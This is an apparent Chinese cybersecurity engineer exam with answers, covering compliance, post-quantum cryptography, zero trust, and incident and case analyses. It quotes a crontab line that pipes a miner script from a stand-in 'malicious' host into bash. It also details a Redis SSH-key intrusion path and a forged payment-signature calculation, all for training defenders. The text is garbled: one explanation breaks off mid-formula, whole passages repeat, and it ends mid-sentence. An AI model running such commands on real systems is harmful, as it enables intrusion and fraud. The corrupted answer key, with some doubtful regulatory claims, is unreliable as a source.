2025年网络安全工程师考试真题及答案解析

2025年网络安全工程师考试真题及答案解析一、单项选择题（共20题，每题1分，共20分。每题只有一个正确答案）1.按照2024年修订的《网络安全等级保护条例》，关键信息基础设施运营者应当在等级保护测评结论出具后（）个工作日内，将测评报告报送至行业主管部门和属地网信部门？A.10B.15C.30D.602.后量子密码算法中，被NIST选定为通用数字签名标准的算法是？A.CRYSTALS-KyberB.CRYSTALS-DilithiumC.FalconD.SPHINCS+3.零信任架构中，核心的身份访问控制逻辑不包括以下哪项？A.最小权限原则B.持续信任评估C.静态访问控制列表D.显式授权4.某软件供应链安全评估中，发现某开源组件的构建流程未做源码一致性校验，构建环境存在未受控的第三方依赖注入风险，按照SLSA框架，该组件最多能达到哪个等级？A.SLSA1B.SLSA2C.SLSA3D.SLSA45.生成式人工智能服务提供者按照《生成式人工智能服务管理暂行办法》要求，应当对生成的内容进行标识，以下不属于强制标识范围的是？A.生成的音视频内容B.生成的图片内容C.生成的代码片段D.生成的深度合成人脸内容6.以下容器逃逸场景中，属于利用容器配置不当而非内核漏洞的是？A.利用DirtyPipe漏洞读写宿主机文件B.容器启动时配置了--privileged参数，直接挂载宿主机磁盘C.利用CVE-2022-0811漏洞逃逸D.利用eBPF程序注入宿主机内核7.RSA密码算法中，已知大素数p=3，q=11，公钥指数e=7，则对应的私钥指数d为？A.3B.7C.23D.318.以下哪种Web攻击方式属于业务逻辑漏洞，而非通用的注入或跨站漏洞？A.SQL注入绕过登录验证B.支付接口金额参数篡改C.XSS窃取用户CookieD.SSRF攻击内网数据库9.工业控制系统安全防护中，“纵深防御”架构的最核心边界防护措施是？A.防火墙B.工业隔离网关C.入侵检测系统D.日志审计系统10.2024年工信部发布的《车联网网络安全和数据安全标准体系建设指南》中，要求车端与云端的通信传输必须采用以下哪种加密算法作为强制要求？A.AES-128B.SM4C.RSA-2048D.ChaCha2011.以下哪种漏洞属于“提权漏洞”范畴？A.CVE-2024-21762（F5BIG-IP远程代码执行）B.CVE-2023-28252（WindowsCommonLogFileSystem提权）C.CVE-2024-3094（XZUtils后门）D.CVE-2023-38445（OpenSSL拒绝服务）12.零信任网络访问（ZTNA）的“软件定义边界（SDP）”技术中，默认的网络访问策略是？A.先连接后验证B.先验证后连接C.允许所有访问D.拒绝所有访问13.以下关于生成式AI训练数据安全的说法错误的是？A.训练数据不得包含未经授权的个人信息B.训练数据使用开源内容不需要获得授权C.训练数据应当进行涉敏内容过滤D.训练数据的来源应当可追溯14.某企业的Redis数据库暴露在公网，未设置密码，攻击者最不可能利用该漏洞实现以下哪种操作？A.写入SSH公钥实现远程登录B.写入Web目录实现webshell上传C.执行任意系统命令D.清空数据库所有数据15.密码应用安全性评估（密评）中，以下哪个场景不符合商用密码应用要求？A.网站HTTPS证书使用SM2算法签名B.用户敏感数据存储使用SM4加密C.身份认证使用SM3做哈希校验D.跨境数据传输使用RSA-3072加密传输密钥16.以下哪种DDoS攻击属于应用层攻击？A.SYNFloodB.UDPFloodC.HTTP/2RapidResetD.ICMPFlood17.数据安全分类分级中，以下属于“核心数据”的是？A.企业员工的个人信息B.企业的年度财务报表C.关键信息基础设施的运行拓扑D.企业的客户联系方式18.某攻击者通过修改HTTP请求中的Host头，将请求指向恶意域名，诱导网站生成指向恶意域名的跳转链接，这种攻击方式是？A.路径遍历B.Host头攻击C.CSRFD.点击劫持19.后量子密码算法中，适用于物联网低功耗设备签名场景的NIST选定算法是？A.CRYSTALS-KyberB.CRYSTALS-DilithiumC.FalconD.SPHINCS+20.按照《网络数据安全管理条例》，重要数据出境前应当进行数据出境安全评估，评估报告的有效期为？A.1年B.2年C.3年D.5年二、多项选择题（共10题，每题2分，共20分。每题有2-4个正确答案，多选、少选、错选均不得分）1.零信任架构的三大核心支柱包括以下哪些？A.身份基石B.持续信任评估C.动态访问控制D.边界防火墙2.生成式人工智能服务的常见安全风险包括以下哪些？A.生成虚假信息误导公众B.训练数据泄露用户隐私C.被用于生成恶意代码D.模型被越狱生成违法内容3.等保2.0三级技术要求中，以下哪些属于“密码技术应用”的强制要求？A.身份鉴别过程使用密码技术进行保护B.重要数据传输过程使用密码加密C.重要数据存储过程使用密码加密D.所有日志数据必须使用国密算法存储4.软件供应链安全防护的常见措施包括以下哪些？A.开源组件漏洞扫描B.构建流程完整性校验C.SBOM（软件物料清单）管理D.供应商安全评估5.工业控制系统安全防护中，以下哪些操作是禁止的？A.将工控系统直接连接公网B.在工控主机上安装杀毒软件并自动升级病毒库C.从互联网下载补丁直接在工控系统上安装D.对工控设备的远程维护采用VPN加密传输6.以下哪些属于后量子密码算法的应用场景？A.TLS1.3密钥协商B.数字签名C.数据加密D.哈希校验7.车联网安全防护中，车端的安全措施包括以下哪些？A.车载系统安全启动B.固件签名校验C.车内CAN总线加密D.设备身份认证8.以下哪些漏洞属于2023-2024年披露的高危供应链漏洞？A.XZUtils后门（CVE-2024-3094）B.Log4j2漏洞（CVE-2021-44228）C.libwebp漏洞（CVE-2023-4863）D.WinRAR漏洞（CVE-2023-38831）9.数据安全治理中，个人信息的“最小必要原则”包括以下哪些含义？A.收集的个人信息类型应当与业务功能直接相关B.收集的个人信息数量不得超出业务需求C.个人信息的存储期限不得超出业务需求D.个人信息的使用范围不得超出业务授权10.以下哪些属于入侵检测系统（IDS）的常见evasion技术？A.数据包分片B.流量加密C.大小写混淆绕过特征匹配D.慢攻击三、简答题（共4题，每题10分，共40分）1.简述后量子密码算法的部署必要性，以及NIST选定的4类后量子标准算法的适用场景。2.某企业有1200名员工，一半以上采用远程办公模式，要求采用零信任架构替代传统的VPN远程访问方案，请简述落地的核心步骤。3.结合《生成式人工智能服务管理暂行办法》，简述面向公众提供生成式AI服务的企业应当落实的安全合规要求。4.简述SLSA（供应链等级保障框架）4个等级的核心要求和适用场景。四、综合实操题（共2题，每题15分，共30分）1.Web安全实操背景：某电商平台的支付接口抓包内容如下：```httpPOST/api/pay/submitHTTP/1.1Host:pay.xxxContent-Type:application/json{"order_id":"20250401123456789","amount":999,"sign":"a1b2c3d4e5f67890a1b2c3d4e5f67890"}```已知sign的生成规则为：`md5(order_id+str(amount)+"salt_2025")`，salt为全局固定字符串。问题：（1）攻击者如何实现越权查看其他用户的订单信息？（4分）（2）攻击者如何实现将支付金额篡改为0.01元完成支付？请写出篡改后的sign计算过程。（6分）（3）请给出至少3种针对该接口的安全修复方案。（5分）2.入侵响应实操背景：某企业的Linux服务器被监测到存在对外门罗币挖矿流量，运维人员登录服务器后发现如下信息：1.crontab中存在未知定时任务：`/10curlhttp://malicious/xmrig.sh|bash`1.crontab中存在未知定时任务：`/10curlhttp://malicious/xmrig.sh|bash`2.进程列表中存在xmrig进程，运行用户为redis3.服务器公网开放了22、6379、80端口，其中Redis服务未设置密码，且以root用户运行4.Redis的持久化目录配置为`/root/.ssh/`问题：（1）请分析攻击者的入侵路径和攻击流程。（5分）（2）请给出本次事件的应急响应完整步骤。（5分）（3）请给出长期的安全加固方案。（5分）五、案例分析题（共1题，20分）背景：某新能源车企2025年3月发布公告，称其车联网平台遭到黑客攻击，导致12.3万车主的个人信息（姓名、手机号、身份证号、住址）、行车数据（行驶轨迹、位置信息）泄露，攻击者还可通过漏洞远程控制部分车辆的车门解锁、鸣笛、车窗升降，甚至在低速状态下控制刹车。经调查发现：1.车联网平台使用了2020年版本的开源EMQXMQTTBroker，存在CVE-2023-41053未授权访问漏洞，未修复2.车载设备的接入认证采用硬编码在固件中的固定密钥，所有设备使用相同的密钥3.车端与云端的MQTT传输采用明文传输，未加密4.用户个人信息和行车数据在云端数据库中明文存储，未加密5.该车企的车联网平台仅按照等保二级要求建设，未做等保三级测评，也未落实关键信息基础设施防护要求问题：（1）梳理本次事件中存在的所有安全隐患点。（7分）（2）结合《网络安全法》《个人信息保护法》《汽车数据安全管理若干规定》，该车企需要承担哪些法律责任？（6分）（3）请为该车企设计一套完整的车联网安全防护体系。（7分）答案与解析一、单项选择题答案与解析1.答案：C解析：2024年修订的《网络安全等级保护条例》明确要求，关键信息基础设施运营者应当在测评结论出具后30个工作日内报送相关部门，普通等级保护对象为15个工作日。2.答案：B解析：CRYSTALS-Kyber为密钥封装标准，用于密钥交换场景；CRYSTALS-Dilithium为通用数字签名标准，适用于绝大多数签名场景；Falcon为低延迟轻量级签名标准；SPHINCS+为哈希基高安全等级签名标准。3.答案：C解析：零信任架构摒弃传统静态访问控制列表，采用基于身份、上下文的动态访问控制机制，核心逻辑包括最小权限、持续评估、显式授权。4.答案：A解析：SLSA1仅要求提供构建来源证明，未对构建流程一致性做要求；SLSA2要求托管构建和源码版本控制；SLSA3要求源码和构建平台受控；SLSA4要求全封闭构建、依赖锁定和源码一致性校验。5.答案：C解析：《生成式人工智能服务管理暂行办法》仅要求对生成的音视频、图片、深度合成人脸等可能误导公众的内容做强制标识，代码片段不属于强制标识范围。6.答案：B解析：--privileged参数启动容器属于配置不当，会直接赋予容器宿主机root权限，攻击者可直接挂载宿主机磁盘实现逃逸；其余选项均为内核或软件漏洞利用。7.答案：A解析：RSA私钥计算遵循公式：e×d≡1(mo8.答案：B解析：支付接口金额篡改属于业务流程设计缺陷导致的逻辑漏洞，其余选项均为通用Web安全漏洞。9.答案：B解析：工业隔离网关支持Modbus、S7等工控协议深度解析，可实现工控网络和办公网络的逻辑隔离，是工控纵深防御的核心边界措施。10.答案：B解析：国内车联网通信强制要求使用商用密码算法，SM4为我国自主可控的对称加密算法，是车端云端通信的强制要求。11.答案：B解析：提权漏洞指低权限用户可通过漏洞获得高权限的漏洞，CVE-2023-28252为Windows本地提权漏洞；其余选项分别为远程代码执行、供应链后门、拒绝服务漏洞。12.答案：B解析：SDP默认隐藏所有服务端口，要求用户先完成身份、设备、上下文验证，再开放对应资源的访问权限，即“先验证后连接”。13.答案：B解析：开源内容若存在版权约束（如GPL协议、CCBY-NC协议等），使用前必须获得版权方授权，否则存在侵权风险。14.答案：C解析：原生Redis未提供系统命令执行接口，攻击者需通过主从复制漏洞、加载恶意模块等方式才能执行命令，其余操作均为Redis未授权访问的常规利用方式。15.答案：D解析：涉及重要数据、核心数据的跨境传输必须使用我国商用密码算法，RSA为国外算法，不符合密评要求。16.答案：C解析：HTTP/2RapidReset为2023年披露的应用层DDoS攻击，利用HTTP/2的RST_STREAM帧特性实现高攻击效率；其余选项均为网络层/传输层DDoS攻击。17.答案：C解析：核心数据指关系国家安全、国民经济命脉的重要数据，关键信息基础设施运行拓扑属于核心数据；其余选项属于重要数据或一般数据。18.答案：B解析：Host头攻击指攻击者篡改HTTP请求的Host字段，诱导网站生成恶意跳转、缓存污染等危害，属于典型的HTTP头部攻击。19.答案：C解析：Falcon签名算法的签名和验证延迟低、功耗小，适用于物联网、车联网等低功耗边缘设备的签名场景。20.答案：B解析：《网络数据安全管理条例》明确数据出境安全评估报告有效期为2年，有效期届满需重新评估。二、多项选择题答案与解析1.答案：ABC解析：零信任架构三大核心支柱为身份作为访问基石、持续信任评估、动态细粒度访问控制，边界防火墙是传统边界防护的核心，不属于零信任核心内容。2.答案：ABCD解析：生成式AI的安全风险包括内容合规风险、数据隐私风险、恶意利用风险、模型安全风险四大类，四个选项均属于对应风险范畴。3.答案：ABC解析：等保2.0三级要求身份鉴别、重要数据传输和存储必须使用密码技术保护，日志数据不属于强制要求国密加密的范围。4.答案：ABCD解析：软件供应链安全覆盖上游供应商评估、开源组件治理、构建流程安全、SBOM全生命周期管理等全流程，四个选项均为常规防护措施。5.答案：ABC解析：工控系统对稳定性要求极高，禁止直接连接公网、禁止自动升级病毒库、禁止未经测试直接安装补丁；远程维护采用VPN加密传输是允许的防护措施。6.答案：ABC解析：后量子密码算法主要用于替代传统易被量子计算机破解的公钥密码算法，适用于密钥协商、数字签名、数据加密场景；SHA-2、SHA-3等哈希算法本身具备抗量子攻击能力，无需使用后量子算法。7.答案：ABCD解析：车端安全覆盖启动安全、固件安全、总线安全、身份安全四大维度，四个选项均为车端常规安全措施。8.答案：ACD解析：Log4j2漏洞披露于2021年，其余三个漏洞均为2023-2024年披露的高危供应链漏洞。9.答案：ABCD解析：个人信息最小必要原则包括类型最小、数量最小、存储期限最小、使用范围最小四个维度，四个选项均符合要求。10.答案：ABCD解析：IDS绕过技术包括分片绕过、加密绕过、特征混淆绕过、慢攻击绕过等，四个选项均为常见规避技术。三、简答题答案与解析1.（1）部署必要性：①量子计算技术快速发展，Shor算法可在多项式时间内破解RSA、ECC等传统公钥密码，预计2030年前后实用化量子计算机将对现有加密体系造成毁灭性冲击；②密码体系替换周期长达10-15年，需提前部署后量子密码实现平滑过渡，避免“HarvestNow,DecryptLater”（现在窃取，未来解密）风险；③我国《密码法》明确要求逐步推广抗量子密码算法，保障关键信息基础设施的长期安全。（4分）（2）适用场景：①CRYSTALS-Kyber：密钥封装算法，适用于TLS密钥协商、VPN密钥交换、云服务密钥管理等场景；②CRYSTALS-Dilithium：通用数字签名算法，适用于代码签名、数字证书签名、身份认证签名等通用场景；③Falcon：轻量级低延迟签名算法，适用于物联网、车联网、移动终端等低功耗设备场景；④SPHINCS+：哈希基签名算法，无结构化风险，抗量子能力最强，适用于根证书签名、核心系统签名等高安全等级场景。（6分）2.零信任落地核心步骤：①资产梳理：梳理企业所有内部业务系统、数据资源，明确资产的访问权限要求和敏感等级；②身份体系建设：构建统一身份管理平台，覆盖员工、设备、应用三类身份，实现多因素认证（MFA），为每个身份授予最小初始权限；③可信代理部署：在所有业务系统前端部署零信任可信代理，默认隐藏所有服务端口，实现“先验证后连接”的访问机制；④持续信任评估：构建上下文评估引擎，实时采集身份安全状态、设备安全评分、访问行为特征等数据，动态调整信任等级；⑤动态访问控制：基于ABAC（属性-based访问控制）模型配置访问策略，仅当身份、设备、行为均满足安全要求时才允许访问对应资源；⑥灰度切换：先将非核心业务系统切换到零信任访问，逐步替代传统VPN，完成全业务覆盖后下线VPN入口；⑦运营优化：定期开展渗透测试和策略优化，持续提升零信任架构的防护能力。（每点2分，答出5点即可得满分）3.安全合规要求：①内容安全管理：建立内容审核机制，对生成内容进行涉政、涉恐、涉黄等违法违规内容过滤，防止生成违法内容；②数据安全管理：训练数据不得包含未经授权的个人信息、商业秘密和国家秘密，落实数据分类分级和加密存储要求，防止训练数据泄露；③模型安全管理：开展模型安全测试，防范模型越狱、提示词注入、生成虚假信息等风险，对生成的音视频、图片等内容做强制标识；④算法备案：按照要求向网信部门提交算法备案，公开算法基本原理、应用场景、数据处理规则等信息；⑤用户权益保护：明确告知用户AI生成内容的属性，不得利用生成内容侵犯用户知识产权、隐私权等合法权益；⑥应急响应机制：建立安全事件应急响应体系，发生数据泄露、违法内容传播等事件时及时处置并上报监管部门。（每点2分，答出5点即可得满分）4.SLSA四个等级核心要求和适用场景：①SLSA1：要求提供构建来源证明，记录构建过程的基本信息，无完整性校验要求；适用于内部非敏感系统、个人开源项目等低安全需求场景。②SLSA2：要求使用托管构建平台、源码采用版本控制，可追溯构建对应的源码版本；适用于企业内部业务系统、非核心开源组件等中等安全需求场景。③SLSA3：要求源码仓库和构建平台受控，构建过程不可篡改，可证明源码和构建产物的对应关系；适用于核心业务系统、面向公众的开源组件等高安全需求场景。④SLSA4：要求全封闭构建环境、所有依赖可追溯、构建产物和源码一致性校验，无未受控的第三方依赖注入风险；适用于关键信息基础设施系统、高敏感金融系统等最高安全需求场景。（每点2.5分，共10分）四、综合实操题答案与解析1.（1）越权查看订单的实现方式：该接口未对order_id和当前登录用户的身份做绑定校验，攻击者遍历order_id参数，按照已知规则生成对应sign，即可越权查询其他用户的订单信息。（4分）（2）金额篡改实现方式：①攻击者可通过前端代码泄露、暴力破解等方式获得固定salt值`salt_2025`；②将amount参数篡改为0.01，按照规则计算新的sign：`sign=md5("20250401123456789"+"0.01"+"salt_2025")`；③将篡改后的amount和新的sign替换到请求包中发送，服务端校验sign通过后即可按照0.01元完成支付。（6分）（3）修复方案：①服务端不依赖客户端传递的amount参数，直接从数据库查询对应order_id的实际金额进行支付校验；②签名算法改为非对称签名，服务端保存SM2私钥，sign由服务端生成，客户端无法伪造；③签名参数加入用户身份token、时间戳、随机数，防止重放攻击和越权访问；④每个订单使用独立的随机salt，避免全局salt泄露导致所有签名被伪造。（每点2分，答出3点即可得满分）2.（1）入侵路径和流程：①攻击者通过公网端口扫描发现目标服务器开放6379端口，Redis服务未设置密码，存在未授权访问漏洞；②利用Redis以root用户运行、持久化目录为/root/.ssh/的配置，向Redis写入SSH公钥内容，执行save命令将公钥写入`/root/.ssh/authorized_keys`文件；③使用对应的SSH私钥登录服务器，获得root权限；④植入xmrig挖矿木马，添加crontab定时任务实现权限持久化，开始挖矿。（5分）（2）应急响应步骤：①第一时间断开服务器公网连接，隔离被入侵资产，防止攻击者横向渗透和挖矿流量持续扩散；②备份系统日志、Redis日志、crontab配置、进程快照、恶意样本等证据，满足溯源和司法取证要求；③终止xmrig挖矿进程，删除crontab中的恶意定时任务，清理/root/.ssh/目录下的未授权公钥，删除所有恶意文件；④排查企业内其他开放Redis端口的服务器，确认是否存在相同漏洞和入侵痕迹；⑤修复漏洞后恢复服务器网络连接，持续72小时监测服务器流量和进程，确认无恶意活动。（5分）（3）长期加固方案：①关闭公网的6379端口，配置防火墙仅允许指定业务IP访问Redis服务；②为Redis设置强密码，修改Redis运行用户为普通权限用户，禁止以root运行，修改Redis持久化目录为非敏感目录；③定期开展漏洞扫描，及时修复高危漏洞，对所有公网开放的服务做权限校验；④部署EDR、HIDS等终端安全检测工具，实时监测异常进程、定时任务和横向访问行为。（5分）五、案例分析题答案与解析1.安全隐患点：①供应链安全缺失：未对开源MQTT组件做漏洞扫描和版本更新，存在高危未授权访问漏洞未修复；②身份认证薄弱：车载设备使用硬编码的全局固定密钥，易被逆向破解，攻击者可伪造合法设备接入平台；③传输安全缺失：车端和云端的MQTT通信采用明文传输，数据易被窃听、篡改；④存储安全缺失：用户个人信息、行车数据等敏感数据明文存储，数据库被入侵后直接泄露；⑤等保落实不到位：车联网平台属于关键信息基础设施，未按照等保三级要求建设和测评，安全防护能力不足；⑥访问控制缺失：车辆远程控制接口未做细粒度权限控制和二次验证，攻击者可直接调用接口控制车辆；⑦安全运营缺失：未建立724小时安全监测和应急响应体系，攻击发生后未及时发现和处置。（每点1分，共7分）1.安全隐患点：①供应链安全缺失：未对开源MQTT组件做漏洞扫描和版本更新，存在高危未授权访问漏洞未修复；②身份认证薄弱：车载设备使用硬编码的全局固定密钥，易被逆向破解，攻击者可伪造合法设备接入平台；③传输安全缺失：车端和云端的MQTT通信采用明文传输，数据易被窃听、篡改；④存储安全缺失：用户个人信息、行车数据等敏感数据明文存储，数据库被入侵后直接泄露；⑤等保落实不到位：车联网平台属于关键信息基础设施，未按照等保三级要求建设和测评，安全防护能力不足；⑥访问控制缺失：车辆远程控制接口未做细粒度权限控制和二次验证，攻击者可直接调用接口控制车辆；⑦安全运营缺失：未建立724小时安全监测和应急响应体系，攻击发生后未及时发现和处置。（每点1分，共7分）2.法律责任：①按照《网络安全法》，关键